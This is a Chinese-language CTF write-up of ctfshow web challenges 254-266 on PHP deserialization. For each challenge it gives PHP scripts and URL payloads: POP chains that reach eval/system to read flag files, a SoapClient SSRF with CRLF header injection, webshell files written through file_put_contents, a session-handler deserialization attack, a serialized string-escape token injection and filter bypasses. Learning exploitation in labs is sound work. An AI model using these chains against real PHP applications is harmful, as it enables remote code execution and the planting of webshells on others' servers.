ctfshow-web入門-254-266-反序列化

web254

代碼審計,輸入給的username和password?

?username=xxxxxx&password=xxxxxx

web255

這題要從cookie中獲取值并且需要把isVip設為true,并且將序列化之后的結果進行url編碼

<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true;//這里要改成truepublic function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$c = new ctfShowUser();
echo serialize($c);
echo "\n".urlencode(serialize($c));?>

ctfshow的web入門->反序列化_ctfshow java反序列化-CSDN博客

web256

這題要求$this->username!==$this->password, 讓username和password不相等

<?php
class ctfShowUser{public $username='xx';public $password='xxxxxx';public $isVip=true;
}
echo(urlencode(serialize(new ctfShowUser())));
?>

GET :?username=xx&password=xxxxxx

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A2%3A%22xx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

?[NISACTF 2022]babyserialize(pop鏈構造與腳本編寫詳細教學)-CSDN博客

先看這篇文章,然后構造pop鏈

ctfshow 反序列化1_ctf&this-CSDN博客

大致瀏覽下代碼會發現我們可以利用的函數eval,要想調用eval就得使用backDoor類中的getinfo。
然后在ctfShowUser類的__destruct中發現了$this->class->getInfo();,那么我們只需要讓$this->class是backDoor類的實例化就可以了。
反序列化時,首先調用__destruct,接著調用$this->class->getInfo();也就是backDoor->getinfo(),最后觸發eval。

<?php
class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=true;  //改為trueprivate $class = 'info';public function __construct(){$this->class=new backDoor();  //  初始化 $class 屬性為 backDoor 類的對象}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();  // (2)backDoor}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code="system('tac flag.php');";public function getInfo(){eval($this->code);  //  (1)system}
}$c = new ctfShowUser();
echo urlencode(serialize($c));

?

ctfshow-web入門-反序列化(web254-web258)_ctfshow web258-CSDN博客

php反序列化 && 觸發的魔術方法&& 原理 &&pop鏈構造 && ctfshow 練習_php pop 魔術方法-CSDN博客

web258

比上一題多了正則過濾,user不能是 o:<數字>:?或 c:<數字>:的形式

用 +數字 替代 數字

?ctfshow 反序列化1_global $flag;-CSDN博客

<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true;   //改為truepublic $class = 'info';public function __construct(){$this->class=new backDoor();   //  初始化 $class 屬性為 backDoor 類的對象}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code = "system('tac flag.php');";public function getInfo(){eval($this->code);}
}$a = serialize(new ctfShowUser());
$b = str_replace(':11', ':+11', $a);
$c = str_replace(':8', ':+8', $b);echo urlencode($c);?>

?

web259

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
<?php
$a = new SoapClient(null,array('user_agent' => "aaa\r\nx-forwarded-for:127.0.0.1,127.0.0.1\r\nContent-type:application/x-www-form-urlencoded\r\nContent-length:13\r\n\r\ntoken=ctfshow",'uri' => 'aaa','location' => 'http://127.0.0.1/flag.php'));
echo urlencode(serialize($a));

我的運行有問題

ctfshow web入門 php反序列化 web254--web259_ctfshow web254-web258-CSDN博客

接著getvip=xxx就可以了,最后訪問/flag.txt?

web260

要求序列化后的字符串中包含ctfshow_i_love_36D?

PHP 序列化字符串的格式為:

  • 數組a:<元素數量>:{<鍵值對>}
  • 字符串s:<長度>:<內容>
  • 整數i:<值>
  • 布爾值b:<0或1>

payload:直接傳入字符串

?ctfshow=ctfshow_i_love_36D

數組?

?ctfshow[]=ctfshow_i_love_36D

web261

同時存在?__unserialize() 和 __wakeup()函數時,在 php 7.4 以上版本反序列化時會忽略__wakeup() 函數,因此這里實際并不需要用戶名和密碼為空

開始找到eval函數,但沒有條件觸發?__invoke

所以關鍵就是file_put_contents,username和password拼接成的$this->code弱等于0x36d

所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱類型比較)

<?php
class ctfshowvip
{public $username;public $password;public $code;public function __construct($u, $p){$this->username = $u;$this->password = $p;}
}
$c = new ctfshowvip('877.php',"<?php system('tac /f*');?>");
echo serialize($c);

?vip=O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:26:"<?php system('tac /f*');?>";s:4:"code";N;}

先/?vip=序列化內容 ,然后訪問877.php?

ctfshow 反序列化1_$this->username===$u&&$this->password===$p-CSDN博客

ctfshow-web入門-反序列化(web260-web264)-CSDN博客

web262

沒有和flag相關的信息,訪問message.php?

要滿足 $msg->token=='admin'?

<?php
class message{public $token='admin';
}
$m = new message();
echo base64_encode(serialize($m));
?>

?

? 這是一個非預期解,然后我們看一下預期解,字符串逃逸

<?php
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}function filter($msg)
{return str_replace('fuck', 'loveU', $msg);
}//";s:5:"token";s:4:"admin";}有27個字符,
//將 fuck 替換為 loveU 會增加一個字符,所以也構造27個fuck
$msg = new message('a','b','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');
$msg_1 = serialize($msg);
$msg_2 = filter($msg_1);echo $msg_2;

?所以payload:?

?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

接著訪問message.php

ctfshow 反序列化1_$this->username===$u&&$this->password===$p-CSDN博客

ctfshow-web入門-反序列化(web260-web264)-CSDN博客

web263

PHP的session反序列化

目錄掃描

?發現www.zip文件,訪問打開

index.php寫入cookie

check.php調用cookie?

inc.php存在寫文件函數,將username寫為php文件名,password為一句話

因 inc/inc.php 存在 ini_set(‘session.serialize_handler’, ‘php’); 和 session_start(); ,只要訪問即會獲取之前寫入的 session 數據,然后 check.php 包含 inc/inc.php ,即會觸發 User類 的 __destruct方法 ,從而把惡意數據通過 file_put_contents 寫入名為 log-$this.username ,內容為 $this.password 的文件

<?php
class User{public $username = 'test.php';public $password = '<?php system("cat flag.php") ?>';
}
$user = new User();
echo(base64_encode('|'.serialize($user)));
?>

加 '|' 是因為 session.serialize_handler 使用 php引擎 ,session 關聯數組的 key 和 value 是通過 '|' 區分的, value 是需要被反序列化的部分。然后默認不是用 php 引擎,所以寫入是正常字符串,在 inc/inc.php 這讀取語義又不一樣了

首先修改cookie為生成的 base64 編碼序列化字符串,

然后后訪問index.php,接著訪問check.php,即可生成木馬文件,最后訪問?log-$this.username 即log-test.php

CTFSHOW 反序列化篇_ctf中server-CSDN博客

CTFshow刷題日記-WEB-反序列化篇(上,254-263)_ctfshow web257-CSDN博客

web264

訪問message.php

可以看到和web262不一樣了這里是session?

然后payload同262

?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

訪問message.php其實是沒拿到flag的,因為要求要提交一個cookie?,我們隨便傳一個cookie上去

就能得到flag

web265

<?php
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;}
}$a = new ctfshowAdmin(1,2);
$a->token = &$a->password;
echo serialize($a);

&內存共享$a->token?和?$a->password?指向同一塊內存空間。無論通過哪個屬性修改值,本質都是修改同一塊內存,因此兩者始終 “同步變化”。?

?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";i:2;s:8:"password";R:2;}

ctfshow-web入門-反序列化(web265-web270)_ctfshow web267-CSDN博客

web266

__destruct() 在對象被銷毀時會自動調用,我們只需要讓 ctfshow 類正確被反序列化即可,但是直接傳 ctfshow 會被檢測,之后就會拋出異常,如果程序報錯或者拋出異常就不會觸發?__destruct() 了?

當我們的序列化字符串中有ctfshow就會拋出異常,這樣就沒辦法調用__destrcut了

所以我們大小寫繞過,生成的字符串里面的ctfshow改成大寫的。

<?php
class ctfshow{public $username='xxxxxx';public $password='xxxxxx';public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function login(){return $this->username===$this->password;}public function __toString(){return $this->username;}
}$a = new ctfshow(1,2);
echo serialize($a);

?

序列化里的內容不重要

ctfshow-web入門-反序列化(web265-web270)_ctfshow web267-CSDN博客

ctfshow 反序列化2_ctf yii 漏洞-CSDN博客

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/917491.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/917491.shtml
英文地址,請注明出處:http://en.pswp.cn/news/917491.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

ssh服務器端口和本地端口映射

由于服務器防火墻設置&#xff0c;本地能ssh登錄遠程服務器&#xff0c;但本地不能通過http的方式訪問服務&#xff0c;如tensorborad、gradle或其他服務。在不需要修改防火墻安全設置的情況下&#xff0c;這里我們臨時通過ssh端口映射的方式&#xff0c;在本地瀏覽器訪問這些服…

計算機網絡——UDP

1. UDP的背景 1&#xff09;先有TCP&#xff0c;后覺笨重 在TCP被首次提出后&#xff0c;將“可靠傳輸&#xff0c;流量控制&#xff0c;擁塞控制”全做在一個協議里隨著應用增多 ——> 很多場景&#xff08;語音&#xff0c;視頻&#xff09;并不需要萬無一失 ——> 更…

常見的深度學習模塊/操作中的維度約定(系統性總結)

&#x1f7e9; 1. 數據張量&#xff08;特征圖&#xff09;維度這是我們喂進網絡或從網絡中出來的“實際數據”。類型維度格式舉例說明圖像/特征圖(B, C, H, W)(4, 3, 32, 32)PyTorch中最常用的數據布局&#xff08;NCHW&#xff09;圖像/特征圖&#xff08;TensorFlow風格&…

【筆記】重學單片機(51)(上)

為學習嵌入式做準備&#xff0c;重新拿起51單片機學習。此貼為學習筆記&#xff0c;僅記錄易忘點&#xff0c;實用理論基礎&#xff0c;并不是0基礎。 資料參考&#xff1a;清翔零基礎教你學51單片機 51單片機學習筆記1. C語言中的易忘點1.1 數據類型1.2 位運算符1.3 常用控制語…

Arrays.asList() add方法報錯java.lang.UnsupportedOperationException

1. 問題說明 記錄一下遇到的這個bug&#xff0c;下面是段個簡化后的問題重現代碼。 public class Test {public static void main(String[] args) {List<Integer> list Arrays.asList(1, 2, 3);list.add(4);} }2. 原因分析 我們看一下Arrays.asList(…) 的源碼&#xff…

克羅均線策略思路

一個基于移動平均線的交易策略&#xff0c;主要通過比較不同周期的移動平均線來生成買賣信號。該策略交易邏輯思路和特點&#xff1a;交易邏輯思路1. 多頭交易邏輯&#xff1a;- 當當前周期的收盤價高于其4周期移動平均線&#xff0c;并且4周期移動平均線高于9周期移動平均線&a…

Go語言--語法基礎7--函數定義與調用--自定義函數

函數是基本的代碼塊&#xff0c;用于執行一個任務。Go 語言最少有 1 個 main() 函數。你可以通過函數來劃分不同功能&#xff0c;邏輯上每個函數執行的是指定的任務。函數聲明告訴了編譯器函數的名稱、返回類型和參數。函數三要素名稱 》功能參數 》接口返回值 》結果函數分類內…

Ollama模型庫模型下載慢完美解決(全平臺)

前言在我們從ollama下載模型時,會發現ollama最開始下載速度很快,能達到10-20MB/s但到了后期,速度就會越來越慢,最終降低到10-20kb/s下載一個模型大多需要1到1.5小時這是因為ollama服務器負荷過大的問題思路如果在下載中終斷下載,在用ollama run恢復下載,速度就會又提上去,但3-4…

web:js的模塊導出/導入

一般web頁面中&#xff0c;html文件通過標簽script引用js文件。但是js文件之間的引用要通過import/exprot進行導入/導出&#xff0c;同時還要在html文件中對js文件的引用使用type屬性標注。在下面的例子中&#xff0c;html頁面<!DOCTYPE html> <html lang"en&quo…

關于Web前端安全防御之安全頭配置

一、核心安全頭的作用 1. X-Content-Type-Options: nosniff 該響應頭用于阻止瀏覽器對資源的 MIME 類型進行 “嗅探”&#xff08;猜測&#xff09;&#xff0c;強制瀏覽器嚴格遵守服務器返回的 Content-Type 頭部聲明。 風險背景&#xff1a; 瀏覽器默認會對未明確聲明類型…

C++ : 反向迭代器的模擬實現

一、reverse_iterator.h#pragma once namespace txf { //外界傳什么類型的iteator&#xff0c;它就用什么iterator 初始化 , list用_list_iterator<T,T&,,T*> ,vector<T> 用T*template<class Iterator,class Ref,class Ptr>//在這個反向迭代器中涉及到…

自動化與配置管理工具 ——SaltStack

一、SaltStack 概述1.1 核心特性SaltStack 是一款開源的自動化運維工具&#xff0c;采用客戶端 - 服務器&#xff08;C/S&#xff09;架構&#xff0c;以高效、靈活和可擴展著稱。其核心特性包括&#xff1a;高性能架構&#xff1a;基于 ZeroMQ 消息隊列&#xff0c;支持大規模…

Rust → WebAssembly 的性能剖析全指南

一、用優化&#xff08;Release&#xff09;構建 ? 務必在做性能測量前使用 優化模式 構建你的 WASM。默認情況下&#xff1a; wasm-pack build → Release 優化wasm-pack build --dev 或 cargo build → Debug&#xff0c;性能大打折扣 優化編譯能開啟 LLVM 的各項優化和 LT…

第15屆藍橋杯Pthon青少組_國賽_中/高級組_2024年9月7日真題

更多內容請查看網站&#xff1a;【試卷中心 -----> 藍橋杯----> Python----> 國賽】 網站鏈接 青少年軟件編程歷年真題模擬題實時更新 第15屆藍橋杯Pthon青少組_國賽_中/高級組_2024年9月7日真題 一、單選題 第 1 題 單選題 下列運算符中&#xff0c;表示并集的…

【Django】-9- 單元測試和集成測試(上)

一、Django 項目單元 & 集成測試準備 &#x1f447;依賴安裝&#xff08;給項目裝 “測試小幫手”&#x1f37c;&#xff09;pdm add -d black isort flake8 pytest pytest-django pytest-coverage &#x1f449; 這行命令像在給項目 “采購” 測試工具&#xff1a;black …

VUE-第二季-01

目錄 1.Vue程序初體驗 1.1 下載并安裝vue.js 1.2 第一個Vue程序 1.3 Vue的data配置項 1.4 Vue的template配置項 1.5 Vue實例 和 容器 的關系是&#xff1a;一夫一妻制 2.Vue核心技術 2.0 Vue的模板語法 2.0.1 插值語法 插值語法總結&#xff1a; 2.0.2 指令語法 指…

Android 15 中禁用/啟用應用的系統級方法

在 Android 15 的開發中,有時我們需要以系統級權限來控制應用的啟用狀態。本文將介紹如何使用 PackageManager 來實現應用的禁用和啟用功能。 核心方法 在 Android 15 代碼中,可以使用以下方法來禁用或啟用應用: packageManager.setApplicationEnabledSetting(pkg,Packag…

2025網絡工程師技能圖譜(附思維導圖)

------------比較全面&#xff0c;供學習參考路線圖。-----------------------

【ROS2】rclcpp::Node 常用 API

ROS 系列學習教程(總目錄) ROS2 系列學習教程(總目錄) 目錄1. 構造函數2. 節點名稱相關3. 獲取log對象句柄4. 回調組相關5. Topic發布與訂閱6. Service服務端與客戶端1. 構造函數 public:Node(const std::string & node_name, const NodeOptions & options NodeOptio…

自動駕駛:技術、應用與未來展望——從開創到全面革新交通出行

一、引言1.1 研究背景與意義在過去的幾十年里&#xff0c;隨著科技的飛速發展&#xff0c;自動駕駛技術逐漸從科幻小說中的概念走進了現實生活。從最初簡單的輔助駕駛功能&#xff0c;到如今高度自動化的自動駕駛系統&#xff0c;這一領域的進步正深刻地改變著我們的出行方式和…